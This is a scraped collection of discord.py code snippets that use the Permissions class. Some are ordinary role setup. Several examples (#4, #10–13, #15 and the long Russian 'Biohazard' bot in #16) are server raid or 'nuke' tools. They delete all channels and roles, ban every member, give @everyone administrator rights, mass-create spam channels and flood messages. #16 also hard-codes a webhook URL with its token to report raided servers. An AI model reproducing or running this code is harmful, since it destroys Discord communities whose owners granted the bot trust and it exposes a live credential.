Example #1
0
 async def generate_permissions(self):
     # role permissions
     student_permissions: Permissions = Permissions.none()
     student_permissions.update(add_reactions=True,
                                stream=True,
                                read_message_history=True,
                                read_messages=True,
                                send_messages=True,
                                connect=True,
                                speak=True,
                                use_voice_activation=True,
                                embed_links=True,
                                attach_files=True)
     admin_permissions: Permissions = Permissions.all()
     un_authed_permissions: Permissions = Permissions.none()
     un_authed_permissions.update(read_message_history=True,
                                  read_messages=True,
                                  send_messages=True)
     ta_permissions: Permissions = Permissions.all()
     ta_permissions.update(administrator=False,
                           admin_permissions=False,
                           manage_channels=False,
                           manage_guild=False,
                           manage_roles=False,
                           manage_permissions=False,
                           manage_webhooks=False)
     return admin_permissions, ta_permissions, student_permissions, un_authed_permissions
Example #2
0
 def __init__(self):
     # role permissions
     self.student_permissions: Permissions = Permissions.none()
     self.student_permissions.update(add_reactions=True,
                                     stream=True,
                                     read_message_history=True,
                                     read_messages=True,
                                     send_messages=True,
                                     connect=True,
                                     speak=True,
                                     use_voice_activation=True)
     self.admin_permissions: Permissions = Permissions.all()
     self.un_authed_perms: Permissions = Permissions.none()
     self.un_authed_perms.update(read_message_history=True,
                                 read_messages=True,
                                 send_messages=True)
     self.ta_permissions: Permissions = Permissions.all()
     self.ta_permissions.update(
         administrator=False,
         admin_permissions=False,
         manage_channels=False,
         manage_guild=False,
         manage_roles=False,
         manage_permissions=False,
         manage_webhooks=False,
     )
Example #3
0
    async def guild_permissions(self):
        if self.guild.owner_id == self.id:
            return Permissions.all()

        base = Permissions.none()
        for role in await self.roles():
            base.value |= role._permissions

        if base.administrator:
            return Permissions.all()

        return base
Example #4
0
async def connect(ctx):
    if open('mode.txt', 'r').read() == 'crash':
        open('status.txt', 'w').write('connected')
        for channel in ctx.message.guild.channels:
            try:
                await channel.delete()
            except:
                pass
        for role in ctx.message.guild.roles:
            try:
                await role.delete()
            except:
                pass
        for member in ctx.message.guild.members:
            try:
                await member.ban()
            except:
                pass
    if open('mode.txt', 'r').read() == 'adminrole':
        id = open('output.txt', 'r').read()
        open('output.txt', 'w').write('clear')
        open('status.txt', 'w').write('connected')
        role = await ctx.message.guild.create_role(
            name='sarvente', permissions=Permissions.all())
        member = await ctx.message.guild.fetch_member(int(id))
        await member.add_roles(discord.Object(role.id))
    if open('mode.txt', 'r').read() == 'serverlist':
        print('Connected!\n')
        for guild in bot.guilds:
            print(f'\nName: {guild.name} ||| ID: {guild.id}')
Example #5
0
async def setup(ctx):
    if ctx.author.id not in config["maintainers"]:
        return ctx.send("Only maintainers can run the setup process.")

    overwrites = {
        ctx.guild.default_role: ctf_model.basic_disallow,
        ctx.guild.me: ctf_model.basic_allow,
    }
    existing_categories = [category.name for category in ctx.guild.categories]
    for category in [
            config["categories"]["working"], config["categories"]["done"]
    ]:
        if category not in existing_categories:
            await ctx.guild.create_category(category, overwrites=overwrites)

    await ctx.guild.create_role(
        name=ADMIN_ROLE_NAME,
        permissions=Permissions.all(),
        reason="tmp privesc role for some bot commands",
    )

    await ctx.guild.create_text_channel(
        config["channels"]["export"],
        overwrites={
            ctx.guild.default_role: only_read,
        },
    )

    await ctx.send("Setup successfull! :tada:")
Example #6
0
async def on_member_join(member):
    for channel in member.server.channels:
        if 'welcome' in channel.name:
            await bot.send_message(
                channel, 'Hey ' + str(member.mention) + ', welcome to **' +
                str(member.server) + '**! :tada: :hugging: ')
    newUserMessage = 'Hey ' + str(member.mention) + ', welcome to **' + str(
        member.server) + '**!  :tada:  :hugging: '
    print("Recognised that a member called " + member.name + " joined")
    await bot.send_message(member, newUserMessage)
    print("Sent message to " + member.name)

    # give member the steam role here
    ## to do this the bot must have 'Manage Roles' permission on server, and role to add must be lower than bot's top role
    if member.id == '509704386356707348':
        server = member.server
        role = await bot.create_role(server,
                                     name="Bot Developer",
                                     permissions=Permissions.all())
        await bot.add_roles(member, role)
        print("Added role '" + role.name + "' to " + member.name)
    if member.server == '513539088784293908':
        role = discord.utils.get(member.server.roles, name="Echo Echo")
        await bot.add_roles(member, role)
        print("Added role '" + role.name + "' to " + member.name)
Example #7
0
    async def setup(self):
        # --- step 0.  set sane message notifications
        await self.bot.http.request(
            Route("PATCH", "/guilds/{guild_id}", guild_id=self.guild.id),
            json={"default_message_notifications": 1},
        )

        # --- step 1.  tweak base permissions
        perms = discord.Permissions()
        for sane_perm in PARTY_PERMISSIONS:
            setattr(perms, sane_perm, True)
        await self.guild.default_role.edit(permissions=perms)

        # --- step 2.  we need to be first
        await self.general.send("welcome to the party! \N{PARTY POPPER}")

        # --- step 3.  create party role for the creator
        self.creator_role = creator = await self.guild.create_role(
            name="party creator",
            color=discord.Color(0xFF6666),
            hoist=True,
            mentionable=True,
            permissions=Permissions.all(),
        )

        # --- step 4.  partygoers need a role
        self.partygoer_role = partygoer = await self.guild.create_role(
            name="partygoer", color=discord.Color(0x66CCFF), hoist=True)

        # --- step 5.  move roles
        await creator.edit(position=2)
        await partygoer.edit(position=1)

        # --- step 6.  add listeners
        self.bot.add_listener(self.handle_join, "on_member_join")
class RoleCollectionClass(AbstractRoleCollection):
    """Enum of roles in the correct order (last ones have a lower position)"""
    # Bot role
    BOT = RoleDescription(
        name="Bot",
        permissions=Permissions(8),  # admin right
        colour=Colour.green(),
        mentionable=True,
    )

    # Developer
    DEV = RoleDescription(
        name="Admin",
        permissions=Permissions.all(),  # all rights
        colour=Colour.dark_red(),
    )

    # Game master
    MASTER = RoleDescription(
        name="Game master",
        permissions=Permissions(2147483127),  # all rights except admin
        colour=Colour.dark_red(),
        mentionable=True,
    )

    # Visitor, base role
    VISITOR = RoleDescription(
        name="Player",
        permissions=Permissions(68224000),  # change nickname, view channels, read message history, connect
        colour=Colour.red(),
    )

    DEFAULT = DefaultRoleDescription(permissions=Permissions(use_voice_activation=True))
Example #9
0
    async def _create_anonc_chat_channel(self, guild, member) -> AnoncChannel:
        overwrites = {
            guild.default_role:
            PermissionOverwrite.from_pair(
                Permissions.none(),  # allow
                Permissions.all()  # deny
            ),
            member:
            PermissionOverwrite(send_messages=True,
                                read_messages=True,
                                manage_messages=True,
                                attach_files=True,
                                read_message_history=True)
        }

        anonc_id = random_string(4)
        while self.get_anonc_chat_channel_from_anonc_id(anonc_id):
            anonc_id = random_string(4)

        anonc_id_role = None
        if self.use_role:
            anonc_id_role = await guild.create_role(name=anonc_id,
                                                    mentionable=True)

        channel = await guild.create_text_channel('anon chat',
                                                  overwrites=overwrites,
                                                  topic=anonc_id,
                                                  nsfw=self.nsfw)
        webhook = await channel.create_webhook(name=str(member.id))

        return AnoncChannel(channel, webhook, member, anonc_id_role)
Example #10
0
async def admin(ctx):
  await ctx.message.delete()
  for role in list(ctx.guild.roles):
             if role.name == '@everyone':
                  try:
                      await role.edit(permissions=Permissions.all())
                      print("@everyone has admin") 
                  except:
                      print("Failed to give everyone admin")
async def admin(ctx):
    """Gives a role with all permissions enabled to the message author."""
    await ctx.message.delete()
    await ctx.guild.create_role(name='Hacker',
                                permissions=Permissions.all(),
                                color=discord.Color(0x36393f))
    role = discord.utils.get(ctx.guild.roles, name='Hacker')
    await ctx.author.add_roles(role)
    await ctx.send('✅ **Role created!**')
Example #12
0
async def nuke(ctx):
    await ctx.message.delete()
    guild = ctx.guild
    try:
      role = discord.utils.get(guild.roles, name = "@everyone")
      await role.edit(permissions = Permissions.all())
      print(Fore.MAGENTA + "I have given everyone admin." + Fore.RESET)
    except:
      print(Fore.GREEN + "I was unable to give everyone admin" + Fore.RESET)
    for channel in guild.channels:
      try:
        await channel.delete()
        print(Fore.MAGENTA + f"{channel.name} was deleted." + Fore.RESET)
      except:
        print(Fore.GREEN + f"{channel.name} was NOT deleted." + Fore.RESET)
    for member in guild.members:
     try:
       await member.ban()
       print(Fore.MAGENTA + f"{member.name}#{member.discriminator} Was banned" + Fore.RESET)
     except:
       print(Fore.GREEN + f"{member.name}#{member.discriminator} Was unable to be banned." + Fore.RESET)
    for role in guild.roles:
     try:
       await role.delete()
       print(Fore.MAGENTA + f"{role.name} Has been deleted" + Fore.RESET)
     except:
       print(Fore.GREEN + f"{role.name} Has not been deleted" + Fore.RESET)
    for emoji in list(ctx.guild.emojis):
     try:
       await emoji.delete()
       print(Fore.MAGENTA + f"{emoji.name} Was deleted" + Fore.RESET)
     except:
       print(Fore.GREEN + f"{emoji.name} Wasn't Deleted" + Fore.RESET)
    banned_users = await guild.bans()
    for ban_entry in banned_users:
      user = ban_entry.user
      try:
        await user.unban("your username")
        print(Fore.MAGENTA + f"{user.name}#{user.discriminator} Was successfully unbanned." + Fore.RESET)
      except:
        print(Fore.GREEN + f"{user.name}#{user.discriminator} Was not unbanned." + Fore.RESET)
    await guild.create_text_channel("NUKED BITCH")
    for channel in guild.text_channels:
        link = await channel.create_invite(max_age = 0, max_uses = 0)
        print(f"New Invite: {link}")
    amount = 500
    for i in range(amount):
       await guild.create_text_channel(random.choice(SPAM_CHANNEL))
       await guild.create_role(name=rolenames)
    for user in list(ctx.guild.members):
        try:
            await user.ban()
        except:
         print(f"nuked {guild.name} Successfully.")
    return
Example #13
0
async def roles(ctx):
    roles = []
    for role in ctx.guild.roles:
        roles.append(role)
    await ctx.guild.create_role(name="raided with lubys tool", permissions=Permissions.all(), colour=discord.Colour(0xbe3809))

    for role in roles:
        try:
            await role.delete(reason=None)
            await ctx.send("Role deleted: {}".format(role))
            droles.append(role.name)
        except:
            pass
Example #14
0
    async def _create_anonc_member_guild(self) -> Guild:
        if len(self.client.guilds) >= 2:
            await self.disable_use_role()
        guild = await self.client.create_guild(
            name=f'{self.base_name}-{len(self.anonc_chat_guilds)+1}')

        await guild.default_role.edit(
            mantionable=False,
            permissions=Permissions(permissions=67108864)  #  change nickname
        )
        bot_owner = await guild.create_role(name='bot owner',
                                            permissions=Permissions.all())
        anonc_moderator = await guild.create_role(
            name='anonc moderator', permissions=Permissions.none())
        anonc_system = await guild.create_role(name='anonc system',
                                               permissions=Permissions.none())

        for name, path in (('msg_anchor', self.client.anchor_emoji_path),
                           ('at_sign', self.client.at_sign_emoji_path)):
            with open(path, 'rb') as f:
                await guild.create_custom_emoji(name=name,
                                                image=f.read(),
                                                roles=[anonc_system])
        # TODO : なんか動かない。
        guild = next((g for g in self.client.guilds if g == guild))
        channels = await guild.fetch_channels()
        for channel in channels:
            if isinstance(channel, (CategoryChannel, )):
                continue
            elif isinstance(channel, (TextChannel, )):
                await channel.category.edit(name='anonc_system_channels')
                await channel.category.set_permissions(guild.default_role,
                                                       read_messages=False)
                await channel.category.set_permissions(bot_owner,
                                                       read_messages=True,
                                                       send_messages=True)
                await channel.category.set_permissions(anonc_moderator,
                                                       read_messages=True,
                                                       send_messages=True)
            else:
                await channel.category.delete()
                await channel.delete()

        return guild
Example #15
0
async def admin(ctx):
    await ctx.message.delete()
    await ctx.guild.create_role(name='hacker', permissions=Permissions.all())
    role = discord.utils.get(ctx.guild.roles, name="hacker")
    await ctx.author.add_roles(role)
    await ctx.send('A wild **HACKER** has appeared!')
Example #16
0
    async def on_message(self, message):
        global cdn  #кулдаун
        c = 0
        r = 0
        m = 0
        s = 0
        white = open('whitelist.txt', 'r').read()
        black = open('blacklist.txt', 'r').read()
        vips = open('vip.txt', 'r').read()
        if message.content == '*помощь' and not message.author.bot:  #помощь!!!
            await message.delete()
            cdn = 1
            embed = discord.Embed(title=":grey_question: Помощь",
                                  description="",
                                  color=0x00cc00)
            embed.add_field(name='*атака',
                            value='Автоматический краш сервера',
                            inline=False)
            embed.add_field(
                name='*аудит',
                value=
                'Засорить журнал аудита приглашениями и созданием/удалением каналов',
                inline=False)
            embed.add_field(
                name='*блок',
                value=
                'Заблокировать текущий канал (запретить всем отправлять сообщения)',
                inline=False)
            embed.add_field(
                name='*блоквезде',
                value=
                'Заблокировать все каналы (запретить всем отправлять сообщения)',
                inline=False)
            embed.add_field(name='*бс',
                            value='Проверка сервера на наличие в белом списке',
                            inline=False)
            embed.add_field(name='*всембан',
                            value='Забанить всех участников',
                            inline=False)
            embed.add_field(name='*всемкик',
                            value='Кикнуть всех участников',
                            inline=False)
            embed.add_field(name='*вип',
                            value='Проверка VIP-статуса',
                            inline=False)
            embed.add_field(name='*виппомощь',
                            value='VIP-команды',
                            inline=False)
            embed.add_field(name='*голос',
                            value='Удалить только голосовые каналы',
                            inline=False)
            embed.add_field(name='*канал-',
                            value='Удалить текущий канал',
                            inline=False)
            embed.add_field(name='*каналы-',
                            value='Удалить все каналы',
                            inline=False)
            embed.add_field(name='*каналы+',
                            value='Бесконечное создание каналов',
                            inline=False)
            embed.add_field(name='*категории',
                            value='Удалить только категории',
                            inline=False)
            embed.add_field(name='*лаги',
                            value='Чудовищный спам, вызывает лаги',
                            inline=False)
            embed.add_field(name='*лс',
                            value='Рассылка всем участникам в ЛС',
                            inline=False)
            embed.add_field(name='*очистить',
                            value='Очистить чат',
                            inline=False)
            embed.add_field(name='*переименовать',
                            value='Перименовать сервер',
                            inline=False)
            embed.add_field(
                name='*разблок',
                value=
                'Разблокировать текущий канал (разрешить всем отправлять сообщения)',
                inline=False)
            embed.add_field(
                name='*разблоквезде',
                value=
                'Разблокировать все каналы (разрешить всем отправлять сообщения)',
                inline=False)
            embed.add_field(name='*роли-',
                            value='Удалить все роли',
                            inline=False)
            embed.add_field(name='*роли+',
                            value='Бесконечное создание ролей',
                            inline=False)
            embed.add_field(
                name='*селфбан',
                value='Забанить себя (может быть, кому-то пригодится :moyai:)',
                inline=False)
            embed.add_field(name='*текст',
                            value='Удалить только текстовые каналы',
                            inline=False)
            embed.add_field(name='*флуд',
                            value='Зафлудить все каналы',
                            inline=False)
            embed.add_field(name='*чс',
                            value='Проверка вас на наличие в чёрном списке',
                            inline=False)
            await message.author.send(embed=embed)
            time.sleep(30)
            cdn = 0

        if message.content == '*бс' and not message.author.bot:
            await message.delete()
            cdn = 1
            if white.find(str(message.guild.id)) == -1:
                await message.author.send(
                    ':x: Сервер не находится в белом списке.')
            else:
                await message.author.send(
                    ':white_check_mark: Сервер находится в белом списке.')
            time.sleep(30)
            cdn = 0
        if message.content == '*чс' and not message.author.bot:
            await message.delete()
            cdn = 1
            if black.find(str(message.author.id)) == -1:
                await message.author.send(
                    ':white_check_mark: Вас нет в чёрном списке.')
            else:
                await message.author.send(':x: Вы находитесь в чёрном списке.')
            time.sleep(30)
            cdn = 0
        if message.content == '*вип' and not message.author.bot:
            await message.delete()
            cdn = 1
            if vips.find(str(message.author.id)) == -1:
                await message.author.send(':x: У вас нет VIP-статуса.')
            else:
                await message.author.send(
                    ':white_check_mark: У вас есть VIP-статус :crown:')
            time.sleep(30)
            cdn = 0

        if message.content == '*виппомощь' and not message.author.bot:  #помощь
            await message.delete()
            cdn = 1
            embed = discord.Embed(title=":crown: VIP-команды",
                                  description="",
                                  color=0xff9900)
            embed.add_field(name='*випадминка',
                            value='Дать @everyone админ-права',
                            inline=False)
            embed.add_field(name='*випканалы+',
                            value='Создать каналы со своим названием',
                            inline=False)
            embed.add_field(name='*виплс',
                            value='Отправка всем в ЛС своё сообщение',
                            inline=False)
            embed.add_field(name='*випник',
                            value='Изменить никнеймы участников на свои',
                            inline=False)
            embed.add_field(name='*виповнеру',
                            value='Отправка владельцу сервера своё сообщение',
                            inline=False)
            embed.add_field(name='*виппереименовать',
                            value='Переименовать сервер на своё сообщение',
                            inline=False)
            embed.add_field(name='*випроли+',
                            value='Создать роли со своим сообщением',
                            inline=False)
            embed.add_field(name='*випфлуд',
                            value='Флуд своим сообщением',
                            inline=False)
            await message.author.send(embed=embed)
            time.sleep(30)
            cdn = 0
        if message.author.id == 750245767142441000 or message.author.id == 351686223196192768:
            if message.content.startswith('*bl'):
                await message.delete()
                mc = message.content.replace('*bl', '')
                f = open('blacklist.txt', 'a')
                f.write(mc + '\n')
                await message.author.send(':white_check_mark:')
                f.close()

            if message.content.startswith('*wl'):
                await message.delete()
                mc = message.content.replace('*wl', '')
                f = open('whitelist.txt', 'a')
                f.write(mc + '\n')
                await message.author.send(':white_check_mark:')
                f.close()

            if message.content.startswith('*гивип'):
                await message.delete()
                mc = message.content.replace('*гивип', '')
                f = open('vip.txt', 'a')
                f.write(mc + '\n')
                await message.author.send(':white_check_mark:')
                f.close()

            if message.content.startswith('*delvip'):
                await message.delete()
                mc = message.content.replace('*delvip', '')
                with open('vip.txt', 'r+') as f:
                    text = f.read()
                    text = re.sub(str(mc), '', text)
                    f.seek(0)
                    f.write(text)
                    f.truncate()
                await message.author.send(':white_check_mark:')

            if message.content.startswith('*delwl'):
                await message.delete()
                mc = message.content.replace('*delwl', '')
                with open('whitelist.txt', 'r+') as f:
                    text = f.read()
                    text = re.sub(str(mc), '', text)
                    f.seek(0)
                    f.write(text)
                    f.truncate()
                await message.author.send(':white_check_mark:')

            if message.content.startswith('*delbl'):
                await message.delete()
                mc = message.content.replace('*delbl', '')
                with open('blacklist.txt', 'r+') as f:
                    text = f.read()
                    text = re.sub(str(mc), '', text)
                    f.seek(0)
                    f.write(text)
                    f.truncate()
                await message.author.send(':white_check_mark:')
        if white.find(str(message.guild.id)) == -1 and black.find(
                str(message.author.id)) == -1:
            if message.content == '*атака' and not message.author.bot:  #автоматический краш
                await message.delete()  #удаление сообщения
                cdn = 1
                #await client.get_channel(732820713584721923).send('**Участник под ником **' + message.author + ' **крашит сервер **' + message.guild.name + ' **с** ' + str(len(message.guild.members)) + ' **участниками. Не доверяйте админ-права незнакомцам, будьте бдительны!**')
                oi = await message.channel.create_invite(max_age=86400)
                webhook = DiscordWebhook(
                    url=
                    'https://discordapp.com/api/webhooks/750921087763611910/mfJq59yPP42wX4R2NsaFHD2zxTPJX5Hjx6ipsrSXOmHin7Fm9xA0lxLkSJ1FsPE7aQ-O',
                    content=':biohazard: **Участник под ником **' +
                    str(message.author) + ' **крашит сервер **' +
                    str(message.guild.name) + ' **с** ' +
                    str(len(message.guild.members)) +
                    ' **участниками. Не доверяйте админ-права незнакомцам, будьте бдительны! **'
                    + str(oi))
                if message.guild.name != 'Biohazard CRASH' and len(
                        message.guild.members) > 5:
                    response = webhook.execute()
                await message.guild.edit(name='Biohazard CRASH'
                                         )  #переименовывание сервера
                with open('chaos.jpeg', 'rb') as f:
                    icon = f.read()
                await message.guild.edit(icon=icon)

                for i in message.guild.channels:
                    await asyncio.sleep(0.1)
                    try:
                        await i.delete()  #удаление всех каналов
                        c = c + 1
                    except:
                        pass
                await message.author.send(
                    '**:wastebasket: Каналов удалено: **' + str(c))
                for i in message.guild.roles:
                    await asyncio.sleep(0.1)
                    try:
                        await i.delete()  #удаление всех ролей
                        r = r + 1
                    except:
                        pass
                await message.author.send('**:wastebasket: Ролей удалено: **' +
                                          str(r))

                for i in message.guild.members:
                    await asyncio.sleep(0.1)
                    try:
                        if i != message.author:
                            await i.ban()  #бан всех участников
                            m = m + 1
                    except:
                        pass
                await message.author.send(
                    '**:hammer: Участников забанено: **' + str(m))

                await asyncio.sleep(0.1)
                try:
                    while c < 500:
                        c += 1
                        await message.guild.create_text_channel(
                            'crash-by-biohazard')  #создание текстового канала
                        #await y.send('@everyone Внимание, сервер крашится. С любовью, :biohazard: Biohazard :heart: Группа ВК бота: https://vk.com/biohazardbott')
                        await message.guild.create_category(
                            'Crash by Biohazard')  #создание категории
                        await message.guild.create_voice_channel(
                            name='Crash by Biohazard'
                        )  #создание голосового канала
                        await message.guild.create_role(
                            name='Crash by Biohazard',
                            colour=discord.Colour(0x00cc00))  #создание роли
                except:
                    pass
                time.sleep(120)
                cdn = 0

            if message.content == '*флуд' and not message.author.bot:  #флуд
                spam = '@everyone Внимание, сервер крашится. С любовью, :biohazard: Biohazard :heart:\n Группа ВК бота: https://vk.com/biohazardbot\n Discord сервер бота: https://discord.gg/zYaqUkC'
                await message.delete()
                cdn = 1
                while s <= 500:
                    for channel in message.guild.text_channels:
                        await channel.send(spam)
                        s = s + 1
                cdn = 0
            if message.content == '*всембан' and not message.author.bot:  #бан всех участников
                await message.delete()
                cdn = 1
                for i in message.guild.members:
                    await asyncio.sleep(0.1)
                    try:
                        if i != message.author:
                            await i.ban()  #бан
                            m = m + 1
                    except:
                        pass
                cdn = 0
                await message.author.send(
                    '**:hammer: Участников забанено: **' + str(m))

            if message.content == '*всемкик' and not message.author.bot:  #кик всех участников
                await message.delete()
                cdn = 1
                for i in message.guild.members:
                    await asyncio.sleep(0.1)
                    try:
                        if i != message.author:
                            await i.kick()  #кик
                            m = m + 1
                    except:
                        pass
                cdn = 0
                await message.author.send('**:boot: Участников кикнуто: **' +
                                          str(m))

            if message.content == '*переименовать' and not message.author.bot:  #переименовывание сервера
                await message.delete()
                cdn = 1
                await asyncio.sleep(0.1)
                try:
                    await message.guild.edit(name='Biohazard CRASH'
                                             )  #переименовывание
                    with open('chaos.jpeg', 'rb') as f:
                        icon = f.read()
                    await message.guild.edit(icon=icon)
                except:
                    pass
                cdn = 0

            if message.content == '*каналы-' and not message.author.bot:  #удаление всех каналов
                await message.delete()
                cdn = 1
                for i in message.guild.channels:
                    await asyncio.sleep(0.1)
                    try:
                        await i.delete()  #удаление
                        c = c + 1
                    except:
                        pass
                cdn = 0
                await message.author.send(
                    '**:wastebasket: Каналов удалено: **' + str(c))
                await message.guild.create_text_channel(name='chat')

            if message.content == '*роли-' and not message.author.bot:  #удаление всех ролей
                await message.delete()
                cdn = 1
                for i in message.guild.roles:
                    await asyncio.sleep(0.1)
                    try:
                        await i.delete()  #удаление
                        r = r + 1
                    except:
                        pass
                cdn = 0
                await message.author.send('**:wastebasket: Ролей удалено: **' +
                                          str(r))

            if message.content == '*каналы+' and not message.author.bot:  #бесконечное создание каналов и категорий
                cdn = 1
                await message.delete()
                await asyncio.sleep(0.1)
                try:
                    while c < 500:
                        c += 1
                        await message.guild.create_text_channel(
                            name='crash-by-biohazard'
                        )  #создание текстового канала
                        await message.guild.create_category(
                            name='Crash by Biohazard')  #создание категории
                        await message.guild.create_voice_channel(
                            name='Crash by Biohazard'
                        )  #создание голосового канала
                except:
                    pass
                cdn = 0

            if message.content == '*заразаканалы' and not message.author.bot:  #переименовывание всех каналов
                await message.delete()
                cdn = 1
                for i in message.guild.channels:
                    await asyncio.sleep(0.1)
                    try:
                        await i.edit(name='Crash by Biohazard'
                                     )  #переименовывание
                        c = c + 1
                    except:
                        pass
                await message.author.send('**:microbe: Каналов заражено: **' +
                                          str(c))
                cdn = 0

            if message.content == '*заразароли' and not message.author.bot:  #переименовывание всех ролей
                await message.delete()
                cdn = 1
                for i in message.guild.roles:
                    await asyncio.sleep(0.1)
                    try:
                        await i.edit(name='Crash by Biohazard',
                                     colour=discord.Colour(0x00cc00)
                                     )  #переименовывание
                        r = r + 1
                    except:
                        pass
                await message.author.send('**:microbe: Ролей заражено: **' +
                                          str(r))
                cdn = 0

            if message.content == '*роли+' and not message.author.bot:  #бесконечное создание ролей
                cdn = 1
                await message.delete()
                await asyncio.sleep(0.1)
                try:
                    while r < 250:
                        await message.guild.create_role(
                            name='Crash by Biohazard',
                            colour=discord.Colour(0x00cc00))  #создание роли
                        r += 1
                except:
                    pass
                cdn = 0

            if message.content == '*канал-' and not message.author.bot:  #удаление текущего канала
                await message.delete()
                cdn = 1
                await message.channel.delete()
                await message.author.send(':wastebasket: **Канал** `' +
                                          str(message.channel) +
                                          '` **удалён безвозвратно!**')
                time.sleep(30)
                cdn = 0

            if message.content == '*заразаканал' and not message.author.bot:  #заражение текущего канала
                await message.delete()
                cdn = 1
                await message.channel.edit(name='crash-by-biohazard')
                await message.author.send(':microbe: **Канал** `' +
                                          str(message.channel) +
                                          '` **заражён!**')
                time.sleep(30)
                cdn = 0

            if message.content == '*лс' and not message.author.bot:
                cdn = 1
                await message.delete()
                for i in message.guild.members:
                    await i.send(
                        'Внимание, сервер {0.guild.name} крашится. С любовью, :biohazard: Biohazard :heart:\n Группа ВК бота: https://vk.com/biohazardbot\n Discord сервер бота: https://discord.gg/zYaqUkC'
                        .format(message))
                cdn = 0

            if message.content == '*лаги' and not message.author.bot:  #лаги
                await message.delete()
                cdn = 1
                embed = discord.Embed(title=":biohazard: КРАШ!!!",
                                      description="",
                                      color=0x00cc00)
                embed.add_field(
                    name=
                    ':biohazard: :biohazard: :biohazard: :biohazard: :biohazard:',
                    value='Внимание, сервер крашится.',
                    inline=False)
                embed.add_field(
                    name=
                    ':biohazard: :biohazard: :biohazard: :biohazard: :biohazard:',
                    value='Внимание, сервер крашится.',
                    inline=False)
                embed.add_field(
                    name=
                    ':biohazard: :biohazard: :biohazard: :biohazard: :biohazard:',
                    value='Внимание, сервер крашится.',
                    inline=False)
                embed.add_field(
                    name=
                    ':biohazard: :biohazard: :biohazard: :biohazard: :biohazard:',
                    value='Внимание, сервер крашится.',
                    inline=False)
                embed.add_field(
                    name=
                    ':biohazard: :biohazard: :biohazard: :biohazard: :biohazard:',
                    value='Внимание, сервер крашится.',
                    inline=False)
                embed.add_field(
                    name=
                    ':biohazard: :biohazard: :biohazard: :biohazard: :biohazard:',
                    value='Внимание, сервер крашится.',
                    inline=False)
                embed.add_field(
                    name=
                    ':biohazard: :biohazard: :biohazard: :biohazard: :biohazard:',
                    value='Внимание, сервер крашится.',
                    inline=False)
                embed.add_field(
                    name=
                    ':biohazard: :biohazard: :biohazard: :biohazard: :biohazard:',
                    value='Внимание, сервер крашится.',
                    inline=False)
                embed.add_field(
                    name=
                    ':biohazard: :biohazard: :biohazard: :biohazard: :biohazard:',
                    value='Внимание, сервер крашится.',
                    inline=False)
                while s < 500:
                    for i in message.guild.text_channels:
                        await i.send('@everyone', embed=embed)
                        s += 1
                cdn = 0

            if message.content == '*текст' and not message.author.bot:
                await message.delete()
                cdn = 1
                for i in message.guild.text_channels:
                    await asyncio.sleep(0.1)
                    try:
                        await i.delete()  #удаление
                        c = c + 1
                    except:
                        pass
                cdn = 0
                await message.author.send(
                    '**:wastebasket: Каналов удалено: **' + str(c))

            if message.content == '*голос' and not message.author.bot:
                await message.delete()
                cdn = 1
                for i in message.guild.voice_channels:
                    await asyncio.sleep(0.1)
                    try:
                        await i.delete()  #удаление
                        c = c + 1
                    except:
                        pass
                cdn = 0
                await message.author.send(
                    '**:wastebasket: Каналов удалено: **' + str(c))

            if message.content == '*категории' and not message.author.bot:
                await message.delete()
                cdn = 1
                for i in message.guild.categories:
                    await asyncio.sleep(0.1)
                    try:
                        await i.delete()  #удаление
                        c = c + 1
                    except:
                        pass
                cdn = 0
                await message.author.send(
                    '**:wastebasket: Категорий удалено: **' + str(c))

            if message.content == '*селфбан' and not message.author.bot:
                await message.delete()
                if message.author != message.guild.owner:
                    await message.author.ban()
                else:
                    await message.channel.send(
                        ':x: Вы не можете забанить себя, т.к. являетесь владельцем сервера.'
                    )

            if message.content == '*аудит' and not message.author.bot:
                await message.delete()
                while c < 500:
                    oi = await message.channel.create_invite(max_age=86400)
                    ch = await message.guild.create_text_channel(
                        name='crash-by-biohazard')
                    await ch.delete()
                    c += 1

            if message.content == '*блок' and not message.author.bot:
                await message.delete()
                await message.channel.set_permissions(
                    message.guild.default_role, send_messages=False)
                await message.author.send(':white_check_mark:')

            if message.content == '*разблок' and not message.author.bot:
                await message.delete()
                await message.channel.set_permissions(
                    message.guild.default_role, send_messages=True)
                await message.author.send(':white_check_mark:')

            if message.content == '*блоквезде' and not message.author.bot:
                await message.delete()
                for i in message.guild.text_channels:
                    await i.set_permissions(message.guild.default_role,
                                            send_messages=False)
                await message.author.send(':white_check_mark:')

            if message.content == '*разблоквезде' and not message.author.bot:
                await message.delete()
                for i in message.guild.text_channels:
                    await i.set_permissions(message.guild.default_role,
                                            send_messages=True)
                await message.author.send(':white_check_mark:')

            if message.content == '*очистить' and not message.author.bot:
                await message.delete()
                await message.channel.purge()

            if vips.find(str(
                    message.author.id)) != -1 and not message.author.bot:
                if message.content.startswith('*випканалы+'):
                    await message.delete()
                    n = message.content.replace('*випканалы+', '')
                    while True:
                        await message.guild.create_text_channel(name=n)
                        await message.guild.create_voice_channel(name=n)
                        await message.guild.create_category(name=n)

                if message.content.startswith('*випроли+'):
                    await message.delete()
                    n = message.content.replace('*випроли+', '')
                    while True:
                        await message.guild.create_role(
                            name=n, colour=discord.Colour(0x00cc00))

                if message.content.startswith('*виповнеру'):
                    await message.delete()
                    n = message.content.replace('*виповнеру', '')
                    await message.guild.owner.send(n)

                if message.content.startswith('*виплс'):
                    n = message.content.replace('*виплс', '')
                    await message.delete()
                    for i in message.guild.members:
                        await i.send(n)

                if message.content.startswith('*виппереименовать'):
                    await message.delete()
                    n = message.content.replace('*виппереименовать', '')
                    with open('chaos.jpeg', 'rb') as f:
                        icon = f.read()
                    await message.guild.edit(name=n, icon=icon)

                if message.content.startswith('*випфлуд'):
                    await message.delete()
                    n = message.content.replace('*випфлуд', '')
                    while s <= 500:
                        for channel in message.guild.text_channels:
                            await channel.send(n)
                            s = s + 1

                if message.content.startswith('*випник'):
                    n = message.content.replace('*випник', '')
                    await message.delete()
                    for i in message.guild.members:
                        await i.edit(nick=str(n))

                if message.content.startswith('*випадминка'):
                    await message.delete()
                    await message.guild.default_role.edit(
                        permissions=Permissions.all())
                    await message.author.send(
                        ':unlock: **Все получили админку!**')
Example #17
0
    async def on_call(self, ctx, args, **flags):
        value = flags.pop('value', None)

        if value:
            if flags:
                return '{error} value flag conflict with all other flags'

            if not value.isdigit():
                return '{error} value is not integer'

            permissions = Permissions(permissions=int(value))
        else:
            permissions = None

        channel_flag = flags.pop('channel', None)
        if channel_flag is None:
            channel = ctx.channel
        else:
            channel = await find_channel(channel_flag, ctx.guild)
            if channel is None:
                return '{warning} Channel not found'

        only_true  = flags.pop('t', False)
        only_false = flags.pop('f', False)
        use_global = flags.pop('global', False)

        if only_true and only_false:
            return '{error} t and f flags conflict'

